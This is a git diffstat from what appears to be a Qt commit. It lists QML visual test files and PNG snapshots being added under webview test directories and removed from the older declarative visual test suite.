.../qmlvisual/webview/javascript/test-objects.html | 12 + .../qmlvisual/webview/javascript/windowObjects.qml | 27 + .../webview/settings/data/fontFamily.0.png | Bin 0 -> 3774 bytes .../qmlvisual/webview/settings/data/fontFamily.qml | 395 ++ .../qmlvisual/webview/settings/data/fontSize.0.png | Bin 0 -> 32180 bytes .../qmlvisual/webview/settings/data/fontSize.qml | 339 + .../webview/settings/data/noAutoLoadImages.0.png | Bin 0 -> 6609 bytes .../webview/settings/data/noAutoLoadImages.1.png | Bin 0 -> 6609 bytes .../webview/settings/data/noAutoLoadImages.qml | 595 ++ .../webview/settings/data/setFontFamily.0.png | Bin 0 -> 12132 bytes .../webview/settings/data/setFontFamily.qml | 351 + .../qmlvisual/webview/settings/fontFamily.qml | 17 + .../qmlvisual/webview/settings/fontSize.qml | 71 + .../webview/settings/noAutoLoadImages.qml | 21 + .../qmlvisual/webview/settings/qtlogo.png | Bin 0 -> 2738 bytes .../qmlvisual/webview/settings/setFontFamily.qml | 11 + .../qmlvisual/webview/settings/tarzeau_ocr_a.ttf | Bin 0 -> 24544 bytes .../qmlvisual/webview/settings/test-img.html | 6 + .../qmlvisual/webview/settings/test.html | 9 + .../qmlvisual/webview/zooming/data/pageWidth.qml | 227 + .../webview/zooming/data/renderControl.0.png | Bin 0 -> 7589 bytes .../webview/zooming/data/renderControl.qml | 415 ++ .../webview/zooming/data/resolution.0.png | Bin 0 -> 6275 bytes .../webview/zooming/data/resolution.1.png | Bin 0 -> 3553 bytes .../webview/zooming/data/resolution.2.png | Bin 0 -> 5838 bytes .../webview/zooming/data/resolution.3.png | Bin 0 -> 8005 bytes .../webview/zooming/data/resolution.4.png | Bin 0 -> 6087 bytes .../qmlvisual/webview/zooming/data/resolution.qml | 1319 ++++ .../webview/zooming/data/zoomTextOnly.0.png | Bin 0 -> 5589 bytes .../webview/zooming/data/zoomTextOnly.1.png | Bin 0 -> 6848 bytes .../webview/zooming/data/zoomTextOnly.qml | 655 ++ .../qmlvisual/webview/zooming/data/zooming.0.png | Bin 0 -> 735 bytes .../qmlvisual/webview/zooming/data/zooming.1.png | Bin 0 -> 735 bytes .../qmlvisual/webview/zooming/data/zooming.2.png | Bin 0 -> 735 bytes .../qmlvisual/webview/zooming/data/zooming.3.png | Bin 0 -> 735 bytes .../qmlvisual/webview/zooming/data/zooming.qml | 2115 ++++++ .../qmlvisual/webview/zooming/pageWidth.qml | 10 + .../qmlvisual/webview/zooming/qtlogo.png | Bin 0 -> 2738 bytes .../qmlvisual/webview/zooming/renderControl.html | 7 + .../qmlvisual/webview/zooming/renderControl.qml | 21 + .../qmlvisual/webview/zooming/resolution.html | 6 + .../qmlvisual/webview/zooming/resolution.qml | 16 + .../qmlvisual/webview/zooming/zoomTextOnly.html | 7 + .../qmlvisual/webview/zooming/zoomTextOnly.qml | 14 + .../qmlvisual/webview/zooming/zooming.html | 6 + .../qmlvisual/webview/zooming/zooming.qml | 18 + tests/auto/declarative/visual/ListView/basic1.qml | 27 - tests/auto/declarative/visual/ListView/basic2.qml | 31 - tests/auto/declarative/visual/ListView/basic3.qml | 29 - tests/auto/declarative/visual/ListView/basic4.qml | 33 - .../visual/ListView/data-MAC/basic1.qml | 159 - .../visual/ListView/data-MAC/basic2.qml | 187 - .../visual/ListView/data-MAC/basic3.qml | 147 - .../visual/ListView/data-MAC/basic4.qml | 171 - .../visual/ListView/data-MAC/itemlist.0.png | Bin 961 -> 0 bytes .../visual/ListView/data-MAC/itemlist.1.png | Bin 972 -> 0 bytes .../visual/ListView/data-MAC/itemlist.2.png | Bin 962 -> 0 bytes .../visual/ListView/data-MAC/itemlist.3.png | Bin 962 -> 0 bytes .../visual/ListView/data-MAC/itemlist.4.png | Bin 962 -> 0 bytes .../visual/ListView/data-MAC/itemlist.5.png | Bin 970 -> 0 bytes .../visual/ListView/data-MAC/itemlist.6.png | Bin 961 -> 0 bytes .../visual/ListView/data-MAC/itemlist.qml | 2203 ------ .../visual/ListView/data-MAC/listview.0.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.1.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.10.png | Bin 1588 -> 0 bytes .../visual/ListView/data-MAC/listview.11.png | Bin 1575 -> 0 bytes .../visual/ListView/data-MAC/listview.12.png | Bin 1502 -> 0 bytes .../visual/ListView/data-MAC/listview.13.png | Bin 1583 -> 0 bytes .../visual/ListView/data-MAC/listview.14.png | Bin 1681 -> 0 bytes .../visual/ListView/data-MAC/listview.15.png | Bin 1524 -> 0 bytes .../visual/ListView/data-MAC/listview.16.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.17.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.18.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.19.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.2.png | Bin 1627 -> 0 bytes .../visual/ListView/data-MAC/listview.3.png | Bin 1524 -> 0 bytes .../visual/ListView/data-MAC/listview.4.png | Bin 1678 -> 0 bytes .../visual/ListView/data-MAC/listview.5.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.6.png | Bin 1573 -> 0 bytes .../visual/ListView/data-MAC/listview.7.png | Bin 1670 -> 0 bytes .../visual/ListView/data-MAC/listview.8.png | Bin 1658 -> 0 bytes .../visual/ListView/data-MAC/listview.9.png | Bin 1510 -> 0 bytes .../visual/ListView/data-MAC/listview.qml | 3079 --------- .../visual/ListView/data-X11/basic1.qml | 159 - .../visual/ListView/data-X11/basic2.qml | 187 - .../visual/ListView/data-X11/basic3.qml | 147 - .../visual/ListView/data-X11/basic4.qml | 171 - .../declarative/visual/ListView/data/basic1.qml | 159 - .../declarative/visual/ListView/data/basic2.qml | 187 - .../declarative/visual/ListView/data/basic3.qml | 147 - .../declarative/visual/ListView/data/basic4.qml | 171 - .../visual/ListView/data/itemlist.0.png | Bin 961 -> 0 bytes .../visual/ListView/data/itemlist.1.png | Bin 972 -> 0 bytes .../visual/ListView/data/itemlist.2.png | Bin 962 -> 0 bytes .../visual/ListView/data/itemlist.3.png | Bin 962 -> 0 bytes .../visual/ListView/data/itemlist.4.png | Bin 962 -> 0 bytes .../visual/ListView/data/itemlist.5.png | Bin 970 -> 0 bytes .../visual/ListView/data/itemlist.6.png | Bin 961 -> 0 bytes .../declarative/visual/ListView/data/itemlist.qml | 2203 ------ .../visual/ListView/data/listview.0.png | Bin 1510 -> 0 bytes .../visual/ListView/data/listview.1.png | Bin 1510 -> 0 bytes .../visual/ListView/data/listview.10.png | Bin 1588 -> 0 bytes .../visual/ListView/data/listview.11.png | Bin 1575 -> 0 bytes .../visual/ListView/data/listview.12.png | Bin 1502 -> 0 bytes .../visual/ListView/data/listview.13.png | Bin 1583 -> 0 bytes .../visual/ListView/data/listview.14.png | Bin 1681 -> 0 bytes .../visual/ListView/data/listview.15.png | Bin 1524 -> 0 bytes .../visual/ListView/data/listview.16.png | Bin 1510 -> 0 bytes .../visual/ListView/data/listview.17.png | Bin 1510 -> 0 bytes .../visual/ListView/data/listview.18.png | Bin 1510 -> 0 bytes .../visual/ListView/data/listview.19.png | Bin 1510 -> 0 bytes .../visual/ListView/data/listview.2.png | Bin 1656 -> 0 bytes .../visual/ListView/data/listview.3.png | Bin 1524 -> 0 bytes .../visual/ListView/data/listview.4.png | Bin 1678 -> 0 bytes .../visual/ListView/data/listview.5.png | Bin 1510 -> 0 bytes .../visual/ListView/data/listview.6.png | Bin 1573 -> 0 bytes .../visual/ListView/data/listview.7.png | Bin 1669 -> 0 bytes .../visual/ListView/data/listview.8.png | Bin 1658 -> 0 bytes .../visual/ListView/data/listview.9.png | Bin 1510 -> 0 bytes .../declarative/visual/ListView/data/listview.qml | 3079 --------- .../auto/declarative/visual/ListView/itemlist.qml | 40 - .../auto/declarative/visual/ListView/listview.qml | 81 - .../visual/Package_Views/data/packageviews.0.png | Bin 714 -> 0 bytes .../visual/Package_Views/data/packageviews.1.png | Bin 798 -> 0 bytes .../visual/Package_Views/data/packageviews.10.png | Bin 773 -> 0 bytes .../visual/Package_Views/data/packageviews.11.png | Bin 773 -> 0 bytes .../visual/Package_Views/data/packageviews.12.png | Bin 754 -> 0 bytes .../visual/Package_Views/data/packageviews.13.png | Bin 742 -> 0 bytes .../visual/Package_Views/data/packageviews.14.png | Bin 733 -> 0 bytes .../visual/Package_Views/data/packageviews.15.png | Bin 712 -> 0 bytes .../visual/Package_Views/data/packageviews.16.png | Bin 730 -> 0 bytes .../visual/Package_Views/data/packageviews.17.png | Bin 730 -> 0 bytes .../visual/Package_Views/data/packageviews.18.png | Bin 730 -> 0 bytes .../visual/Package_Views/data/packageviews.19.png | Bin 744 -> 0 bytes .../visual/Package_Views/data/packageviews.2.png | Bin 757 -> 0 bytes .../visual/Package_Views/data/packageviews.20.png | Bin 754 -> 0 bytes .../visual/Package_Views/data/packageviews.21.png | Bin 721 -> 0 bytes .../visual/Package_Views/data/packageviews.22.png | Bin 732 -> 0 bytes .../visual/Package_Views/data/packageviews.3.png | Bin 813 -> 0 bytes .../visual/Package_Views/data/packageviews.4.png | Bin 756 -> 0 bytes .../visual/Package_Views/data/packageviews.5.png | Bin 752 -> 0 bytes .../visual/Package_Views/data/packageviews.6.png | Bin 752 -> 0 bytes .../visual/Package_Views/data/packageviews.7.png | Bin 774 -> 0 bytes .../visual/Package_Views/data/packageviews.8.png | Bin 774 -> 0 bytes .../visual/Package_Views/data/packageviews.9.png | Bin 754 -> 0 bytes .../visual/Package_Views/data/packageviews.qml | 3751 ----------- .../visual/Package_Views/packageviews.qml | 89 - .../bindinganimation/bindinganimation.qml | 40 - .../bindinganimation/data/bindinganimation.0.png | Bin 817 -> 0 bytes .../bindinganimation/data/bindinganimation.1.png | Bin 815 -> 0 bytes .../bindinganimation/data/bindinganimation.2.png | Bin 817 -> 0 bytes .../bindinganimation/data/bindinganimation.3.png | Bin 815 -> 0 bytes .../bindinganimation/data/bindinganimation.4.png | Bin 813 -> 0 bytes .../bindinganimation/data/bindinganimation.5.png | Bin 815 -> 0 bytes .../bindinganimation/data/bindinganimation.6.png | Bin 817 -> 0 bytes .../bindinganimation/data/bindinganimation.qml | 1655 ----- .../animation/colorAnimation/colorAnimation.qml | 41 - .../colorAnimation/data/colorAnimation.0.png | Bin 627 -> 0 bytes .../colorAnimation/data/colorAnimation.1.png | Bin 626 -> 0 bytes .../colorAnimation/data/colorAnimation.2.png | Bin 625 -> 0 bytes .../colorAnimation/data/colorAnimation.qml | 951 --- .../visual/animation/easing/data/easing.0.png | Bin 3393 -> 0 bytes .../visual/animation/easing/data/easing.1.png | Bin 3381 -> 0 bytes .../visual/animation/easing/data/easing.2.png | Bin 3101 -> 0 bytes .../visual/animation/easing/data/easing.3.png | Bin 16542 -> 0 bytes .../visual/animation/easing/data/easing.qml | 779 --- .../declarative/visual/animation/easing/easing.qml | 193 - .../visual/animation/easing/pics/qtlogo.png | Bin 2738 -> 0 bytes .../visual/animation/loop/data/loop.0.png | Bin 508 -> 0 bytes .../visual/animation/loop/data/loop.1.png | Bin 507 -> 0 bytes .../visual/animation/loop/data/loop.2.png | Bin 508 -> 0 bytes .../visual/animation/loop/data/loop.3.png | Bin 508 -> 0 bytes .../visual/animation/loop/data/loop.4.png | Bin 505 -> 0 bytes .../visual/animation/loop/data/loop.5.png | Bin 508 -> 0 bytes .../visual/animation/loop/data/loop.qml | 1471 ---- .../declarative/visual/animation/loop/loop.qml | 24 - .../parallelAnimation/data/parallelAnimation.0.png | Bin 774 -> 0 bytes .../parallelAnimation/data/parallelAnimation.1.png | Bin 762 -> 0 bytes .../parallelAnimation/data/parallelAnimation.2.png | Bin 773 -> 0 bytes .../parallelAnimation/data/parallelAnimation.qml | 463 -- .../parallelAnimation/parallelAnimation.qml | 43 - .../parentAnimation/data/parentAnimation.0.png | Bin 3742 -> 0 bytes .../parentAnimation/data/parentAnimation.1.png | Bin 3727 -> 0 bytes .../parentAnimation/data/parentAnimation.2.png | Bin 3742 -> 0 bytes .../parentAnimation/data/parentAnimation.3.png | Bin 3628 -> 0 bytes .../parentAnimation/data/parentAnimation.4.png | Bin 3610 -> 0 bytes .../parentAnimation/data/parentAnimation.5.png | Bin 3742 -> 0 bytes .../parentAnimation/data/parentAnimation.qml | 1663 ----- .../animation/parentAnimation/parentAnimation.qml | 68 - .../pauseAnimation/data/pauseAnimation.0.png | Bin 3211 -> 0 bytes .../pauseAnimation/data/pauseAnimation.1.png | Bin 3214 -> 0 bytes .../pauseAnimation/data/pauseAnimation.2.png | Bin 3209 -> 0 bytes .../pauseAnimation/data/pauseAnimation.3.png | Bin 3211 -> 0 bytes .../pauseAnimation/data/pauseAnimation.4.png | Bin 3214 -> 0 bytes .../pauseAnimation/data/pauseAnimation.5.png | Bin 3214 -> 0 bytes .../pauseAnimation/data/pauseAnimation.qml | 1619 ----- .../animation/pauseAnimation/pauseAnimation.qml | 36 - .../animation/pauseAnimation/pics/qtlogo.png | Bin 2738 -> 0 bytes .../propertyAction/data/propertyAction.0.png | Bin 1418 -> 0 bytes .../propertyAction/data/propertyAction.1.png | Bin 1430 -> 0 bytes .../propertyAction/data/propertyAction.2.png | Bin 1431 -> 0 bytes .../propertyAction/data/propertyAction.qml | 939 --- .../animation/propertyAction/propertyAction.qml | 34 - .../visual/animation/reanchor/data/reanchor.0.png | Bin 637 -> 0 bytes .../visual/animation/reanchor/data/reanchor.1.png | Bin 642 -> 0 bytes .../visual/animation/reanchor/data/reanchor.2.png | Bin 637 -> 0 bytes .../visual/animation/reanchor/data/reanchor.3.png | Bin 637 -> 0 bytes .../visual/animation/reanchor/data/reanchor.4.png | Bin 647 -> 0 bytes .../visual/animation/reanchor/data/reanchor.5.png | Bin 637 -> 0 bytes .../visual/animation/reanchor/data/reanchor.6.png | Bin 637 -> 0 bytes .../visual/animation/reanchor/data/reanchor.7.png | Bin 637 -> 0 bytes .../visual/animation/reanchor/data/reanchor.8.png | Bin 642 -> 0 bytes .../visual/animation/reanchor/data/reanchor.qml | 2471 ------- .../visual/animation/reanchor/reanchor.qml | 69 - .../animation/scriptAction/data/scriptAction.0.png | Bin 1418 -> 0 bytes .../animation/scriptAction/data/scriptAction.1.png | Bin 1431 -> 0 bytes .../animation/scriptAction/data/scriptAction.qml | 535 -- .../visual/animation/scriptAction/scriptAction.qml | 35 - .../visual/fillmode/data/fillmode.0.png | Bin 26099 -> 0 bytes .../declarative/visual/fillmode/data/fillmode.qml | 279 - tests/auto/declarative/visual/fillmode/face.png | Bin 905 -> 0 bytes .../auto/declarative/visual/fillmode/fillmode.qml | 16 - .../visual/focusscope/data-MAC/test.0.png | Bin 14875 -> 0 bytes .../visual/focusscope/data-MAC/test.1.png | Bin 14875 -> 0 bytes .../visual/focusscope/data-MAC/test.2.png | Bin 14863 -> 0 bytes .../visual/focusscope/data-MAC/test.3.png | Bin 14877 -> 0 bytes .../visual/focusscope/data-MAC/test.4.png | Bin 14877 -> 0 bytes .../visual/focusscope/data-MAC/test.5.png | Bin 14877 -> 0 bytes .../visual/focusscope/data-MAC/test.qml | 1599 ----- .../visual/focusscope/data-MAC/test2.0.png | Bin 5375 -> 0 bytes .../visual/focusscope/data-MAC/test2.1.png | Bin 5375 -> 0 bytes .../visual/focusscope/data-MAC/test2.qml | 607 -- .../visual/focusscope/data-MAC/test3.0.png | Bin 12749 -> 0 bytes .../visual/focusscope/data-MAC/test3.1.png | Bin 12667 -> 0 bytes .../visual/focusscope/data-MAC/test3.2.png | Bin 12373 -> 0 bytes .../visual/focusscope/data-MAC/test3.3.png | Bin 12150 -> 0 bytes .../visual/focusscope/data-MAC/test3.4.png | Bin 11944 -> 0 bytes .../visual/focusscope/data-MAC/test3.5.png | Bin 12150 -> 0 bytes .../visual/focusscope/data-MAC/test3.6.png | Bin 12373 -> 0 bytes .../visual/focusscope/data-MAC/test3.7.png | Bin 12667 -> 0 bytes .../visual/focusscope/data-MAC/test3.8.png | Bin 12749 -> 0 bytes .../visual/focusscope/data-MAC/test3.9.png | Bin 12710 -> 0 bytes .../visual/focusscope/data-MAC/test3.qml | 2879 -------- .../visual/focusscope/data-X11/test.0.png | Bin 11501 -> 0 bytes .../visual/focusscope/data-X11/test.1.png | Bin 11501 -> 0 bytes .../visual/focusscope/data-X11/test.2.png | Bin 11486 -> 0 bytes .../visual/focusscope/data-X11/test.3.png | Bin 11500 -> 0 bytes .../visual/focusscope/data-X11/test.4.png | Bin 11500 -> 0 bytes .../visual/focusscope/data-X11/test.5.png | Bin 11500 -> 0 bytes .../visual/focusscope/data-X11/test.qml | 1599 ----- .../visual/focusscope/data-X11/test2.0.png | Bin 4656 -> 0 bytes .../visual/focusscope/data-X11/test2.1.png | Bin 4656 -> 0 bytes .../visual/focusscope/data-X11/test2.qml | 607 -- .../visual/focusscope/data-X11/test3.0.png | Bin 10093 -> 0 bytes .../visual/focusscope/data-X11/test3.1.png | Bin 10051 -> 0 bytes .../visual/focusscope/data-X11/test3.2.png | Bin 9812 -> 0 bytes .../visual/focusscope/data-X11/test3.3.png | Bin 9625 -> 0 bytes .../visual/focusscope/data-X11/test3.4.png | Bin 9458 -> 0 bytes .../visual/focusscope/data-X11/test3.5.png | Bin 9645 -> 0 bytes .../visual/focusscope/data-X11/test3.6.png | Bin 9812 -> 0 bytes .../visual/focusscope/data-X11/test3.7.png | Bin 10051 -> 0 bytes .../visual/focusscope/data-X11/test3.8.png | Bin 10087 -> 0 bytes .../visual/focusscope/data-X11/test3.9.png | Bin 10072 -> 0 bytes .../visual/focusscope/data-X11/test3.qml | 2879 -------- .../declarative/visual/focusscope/data/test.0.png | Bin 14836 -> 0 bytes .../declarative/visual/focusscope/data/test.1.png | Bin 14836 -> 0 bytes .../declarative/visual/focusscope/data/test.2.png | Bin 14821 -> 0 bytes .../declarative/visual/focusscope/data/test.3.png | Bin 14833 -> 0 bytes .../declarative/visual/focusscope/data/test.4.png | Bin 14833 -> 0 bytes .../declarative/visual/focusscope/data/test.5.png | Bin 14833 -> 0 bytes .../declarative/visual/focusscope/data/test.qml | 1599 ----- .../declarative/visual/focusscope/data/test2.0.png | Bin 5359 -> 0 bytes .../declarative/visual/focusscope/data/test2.1.png | Bin 5359 -> 0 bytes .../declarative/visual/focusscope/data/test2.qml | 607 -- .../declarative/visual/focusscope/data/test3.0.png | Bin 12616 -> 0 bytes .../declarative/visual/focusscope/data/test3.1.png | Bin 12538 -> 0 bytes .../declarative/visual/focusscope/data/test3.2.png | Bin 12257 -> 0 bytes .../declarative/visual/focusscope/data/test3.3.png | Bin 12035 -> 0 bytes .../declarative/visual/focusscope/data/test3.4.png | Bin 11877 -> 0 bytes .../declarative/visual/focusscope/data/test3.5.png | Bin 12046 -> 0 bytes .../declarative/visual/focusscope/data/test3.6.png | Bin 12257 -> 0 bytes .../declarative/visual/focusscope/data/test3.7.png | Bin 12538 -> 0 bytes .../declarative/visual/focusscope/data/test3.8.png | Bin 12616 -> 0 bytes .../declarative/visual/focusscope/data/test3.9.png | Bin 12581 -> 0 bytes .../declarative/visual/focusscope/data/test3.qml | 2879 -------- tests/auto/declarative/visual/focusscope/test.qml | 76 - tests/auto/declarative/visual/focusscope/test2.qml | 40 - tests/auto/declarative/visual/focusscope/test3.qml | 52 - .../qdeclarativeborderimage/animated-smooth.qml | 55 - .../visual/qdeclarativeborderimage/animated.qml | 55 - .../visual/qdeclarativeborderimage/borders.qml | 18 - .../content/MyBorderImage.qml | 38 - .../visual/qdeclarativeborderimage/content/bw.png | Bin 1357 -> 0 bytes .../content/colors-round.sci | 7 - .../content/colors-stretch.sci | 5 - .../qdeclarativeborderimage/content/colors.png | Bin 1655 -> 0 bytes .../data/animated-smooth.0.png | Bin 61731 -> 0 bytes .../data/animated-smooth.1.png | Bin 98912 -> 0 bytes .../data/animated-smooth.2.png | Bin 48780 -> 0 bytes .../data/animated-smooth.3.png | Bin 32431 -> 0 bytes .../data/animated-smooth.4.png | Bin 35835 -> 0 bytes .../data/animated-smooth.5.png | Bin 79428 -> 0 bytes .../data/animated-smooth.6.png | Bin 45928 -> 0 bytes .../data/animated-smooth.qml | 1823 ----- .../qdeclarativeborderimage/data/animated.0.png | Bin 23684 -> 0 bytes .../qdeclarativeborderimage/data/animated.1.png | Bin 29115 -> 0 bytes .../qdeclarativeborderimage/data/animated.2.png | Bin 27580 -> 0 bytes .../qdeclarativeborderimage/data/animated.3.png | Bin 14822 -> 0 bytes .../qdeclarativeborderimage/data/animated.4.png | Bin 21356 -> 0 bytes .../qdeclarativeborderimage/data/animated.5.png | Bin 31143 -> 0 bytes .../qdeclarativeborderimage/data/animated.6.png | Bin 26468 -> 0 bytes .../qdeclarativeborderimage/data/animated.7.png | Bin 16225 -> 0 bytes .../qdeclarativeborderimage/data/animated.qml | 2091 ------ .../qdeclarativeborderimage/data/borders.0.png | Bin 23029 -> 0 bytes .../qdeclarativeborderimage/data/borders.1.png | Bin 23029 -> 0 bytes .../qdeclarativeborderimage/data/borders.2.png | Bin 23029 -> 0 bytes .../qdeclarativeborderimage/data/borders.3.png | Bin 23029 -> 0 bytes .../qdeclarativeborderimage/data/borders.4.png | Bin 23029 -> 0 bytes .../qdeclarativeborderimage/data/borders.qml | 1359 ---- .../qdeclarativeeasefollow/data/easefollow.0.png | Bin 1305 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.1.png | Bin 1306 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.2.png | Bin 1305 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.3.png | Bin 1303 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.4.png | Bin 1303 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.5.png | Bin 1305 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.6.png | Bin 1306 -> 0 bytes .../qdeclarativeeasefollow/data/easefollow.qml | 1807 ----- .../visual/qdeclarativeeasefollow/easefollow.qml | 40 - .../data/flickable-horizontal.0.png | Bin 1427 -> 0 bytes .../data/flickable-horizontal.1.png | Bin 1357 -> 0 bytes .../data/flickable-horizontal.2.png | Bin 1405 -> 0 bytes .../data/flickable-horizontal.3.png | Bin 1427 -> 0 bytes .../data/flickable-horizontal.qml | 1199 ---- .../data/flickable-vertical.0.png | Bin 1951 -> 0 bytes .../data/flickable-vertical.1.png | Bin 1951 -> 0 bytes .../data/flickable-vertical.10.png | Bin 1952 -> 0 bytes .../data/flickable-vertical.11.png | Bin 1930 -> 0 bytes .../data/flickable-vertical.12.png | Bin 1974 -> 0 bytes .../data/flickable-vertical.13.png | Bin 1961 -> 0 bytes .../data/flickable-vertical.14.png | Bin 1959 -> 0 bytes .../data/flickable-vertical.15.png | Bin 1937 -> 0 bytes .../data/flickable-vertical.16.png | Bin 1618 -> 0 bytes .../data/flickable-vertical.17.png | Bin 1952 -> 0 bytes .../data/flickable-vertical.18.png | Bin 1952 -> 0 bytes .../data/flickable-vertical.19.png | Bin 1930 -> 0 bytes .../data/flickable-vertical.2.png | Bin 1976 -> 0 bytes .../data/flickable-vertical.20.png | Bin 1930 -> 0 bytes .../data/flickable-vertical.21.png | Bin 1947 -> 0 bytes .../data/flickable-vertical.22.png | Bin 1941 -> 0 bytes .../data/flickable-vertical.23.png | Bin 1951 -> 0 bytes .../data/flickable-vertical.24.png | 0 .../data/flickable-vertical.3.png | Bin 1987 -> 0 bytes .../data/flickable-vertical.4.png | Bin 1947 -> 0 bytes .../data/flickable-vertical.5.png | Bin 1975 -> 0 bytes .../data/flickable-vertical.6.png | Bin 1928 -> 0 bytes .../data/flickable-vertical.7.png | Bin 1928 -> 0 bytes .../data/flickable-vertical.8.png | Bin 1928 -> 0 bytes .../data/flickable-vertical.9.png | Bin 1928 -> 0 bytes .../data/flickable-vertical.qml | 7037 -------------------- .../qdeclarativeflickable/flickable-horizontal.qml | 37 - .../qdeclarativeflickable/flickable-vertical.qml | 91 - .../qdeclarativeflipable/data/test-flipable.0.png | Bin 1090 -> 0 bytes .../qdeclarativeflipable/data/test-flipable.1.png | Bin 1134 -> 0 bytes .../qdeclarativeflipable/data/test-flipable.2.png | Bin 961 -> 0 bytes .../qdeclarativeflipable/data/test-flipable.3.png | Bin 1076 -> 0 bytes .../qdeclarativeflipable/data/test-flipable.4.png | Bin 1134 -> 0 bytes .../qdeclarativeflipable/data/test-flipable.5.png | Bin 969 -> 0 bytes .../qdeclarativeflipable/data/test-flipable.qml | 1623 ----- .../visual/qdeclarativeflipable/test-flipable.qml | 79 - .../qdeclarativegridview/data/gridview.0.png | Bin 1303 -> 0 bytes .../qdeclarativegridview/data/gridview.1.png | Bin 1317 -> 0 bytes .../qdeclarativegridview/data/gridview.2.png | Bin 1318 -> 0 bytes .../qdeclarativegridview/data/gridview.3.png | Bin 1306 -> 0 bytes .../qdeclarativegridview/data/gridview.4.png | Bin 1308 -> 0 bytes .../qdeclarativegridview/data/gridview.5.png | Bin 1303 -> 0 bytes .../qdeclarativegridview/data/gridview.6.png | Bin 1323 -> 0 bytes .../qdeclarativegridview/data/gridview.7.png | Bin 1325 -> 0 bytes .../qdeclarativegridview/data/gridview.8.png | Bin 1346 -> 0 bytes .../qdeclarativegridview/data/gridview.9.png | Bin 1303 -> 0 bytes .../visual/qdeclarativegridview/data/gridview.qml | 2859 -------- .../qdeclarativegridview/data/gridview2.0.png | Bin 1310 -> 0 bytes .../qdeclarativegridview/data/gridview2.1.png | Bin 1322 -> 0 bytes .../qdeclarativegridview/data/gridview2.10.png | Bin 1313 -> 0 bytes .../qdeclarativegridview/data/gridview2.2.png | Bin 1341 -> 0 bytes .../qdeclarativegridview/data/gridview2.3.png | Bin 1368 -> 0 bytes .../qdeclarativegridview/data/gridview2.4.png | Bin 1319 -> 0 bytes .../qdeclarativegridview/data/gridview2.5.png | Bin 1352 -> 0 bytes .../qdeclarativegridview/data/gridview2.6.png | Bin 1309 -> 0 bytes .../qdeclarativegridview/data/gridview2.7.png | Bin 1347 -> 0 bytes .../qdeclarativegridview/data/gridview2.8.png | Bin 1310 -> 0 bytes .../qdeclarativegridview/data/gridview2.9.png | Bin 1354 -> 0 bytes .../visual/qdeclarativegridview/data/gridview2.qml | 2479 ------- .../visual/qdeclarativegridview/gridview.qml | 51 - .../visual/qdeclarativegridview/gridview2.qml | 58 - .../visual/qdeclarativemouseregion/data/drag.0.png | Bin 1563 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.1.png | Bin 1570 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.2.png | Bin 1553 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.3.png | Bin 1563 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.4.png | Bin 1569 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.5.png | Bin 1569 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.6.png | Bin 1566 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.7.png | Bin 1566 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.8.png | Bin 1567 -> 0 bytes .../visual/qdeclarativemouseregion/data/drag.qml | 5207 --------------- .../qdeclarativemouseregion/data/mouseregion.0.png | Bin 471 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.1.png | Bin 474 -> 0 bytes .../data/mouseregion.10.png | Bin 479 -> 0 bytes .../data/mouseregion.11.png | Bin 479 -> 0 bytes .../data/mouseregion.12.png | Bin 479 -> 0 bytes .../data/mouseregion.13.png | Bin 479 -> 0 bytes .../data/mouseregion.14.png | Bin 479 -> 0 bytes .../data/mouseregion.15.png | Bin 479 -> 0 bytes .../data/mouseregion.16.png | Bin 1454 -> 0 bytes .../data/mouseregion.17.png | Bin 1454 -> 0 bytes .../data/mouseregion.18.png | Bin 1454 -> 0 bytes .../data/mouseregion.19.png | Bin 1454 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.2.png | Bin 474 -> 0 bytes .../data/mouseregion.20.png | Bin 1454 -> 0 bytes .../data/mouseregion.21.png | Bin 1454 -> 0 bytes .../data/mouseregion.22.png | Bin 1454 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.3.png | Bin 474 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.4.png | Bin 481 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.5.png | Bin 481 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.6.png | Bin 481 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.7.png | Bin 481 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.8.png | Bin 479 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.9.png | Bin 479 -> 0 bytes .../qdeclarativemouseregion/data/mouseregion.qml | 5867 ---------------- .../visual/qdeclarativemouseregion/drag.qml | 21 - .../visual/qdeclarativemouseregion/mouseregion.qml | 124 - .../qdeclarativeparticles/data/particles.0.png | Bin 10219 -> 0 bytes .../qdeclarativeparticles/data/particles.1.png | Bin 13469 -> 0 bytes .../qdeclarativeparticles/data/particles.2.png | Bin 14051 -> 0 bytes .../qdeclarativeparticles/data/particles.qml | 775 --- .../visual/qdeclarativeparticles/particles.qml | 54 - .../visual/qdeclarativeparticles/star.png | Bin 262 -> 0 bytes .../data/test-pathview-2.0.png | Bin 2263 -> 0 bytes .../data/test-pathview-2.1.png | Bin 2329 -> 0 bytes .../data/test-pathview-2.2.png | Bin 2279 -> 0 bytes .../data/test-pathview-2.3.png | Bin 2263 -> 0 bytes .../data/test-pathview-2.4.png | Bin 2263 -> 0 bytes .../data/test-pathview-2.5.png | Bin 2308 -> 0 bytes .../data/test-pathview-2.6.png | Bin 2280 -> 0 bytes .../qdeclarativepathview/data/test-pathview-2.qml | 2303 ------- 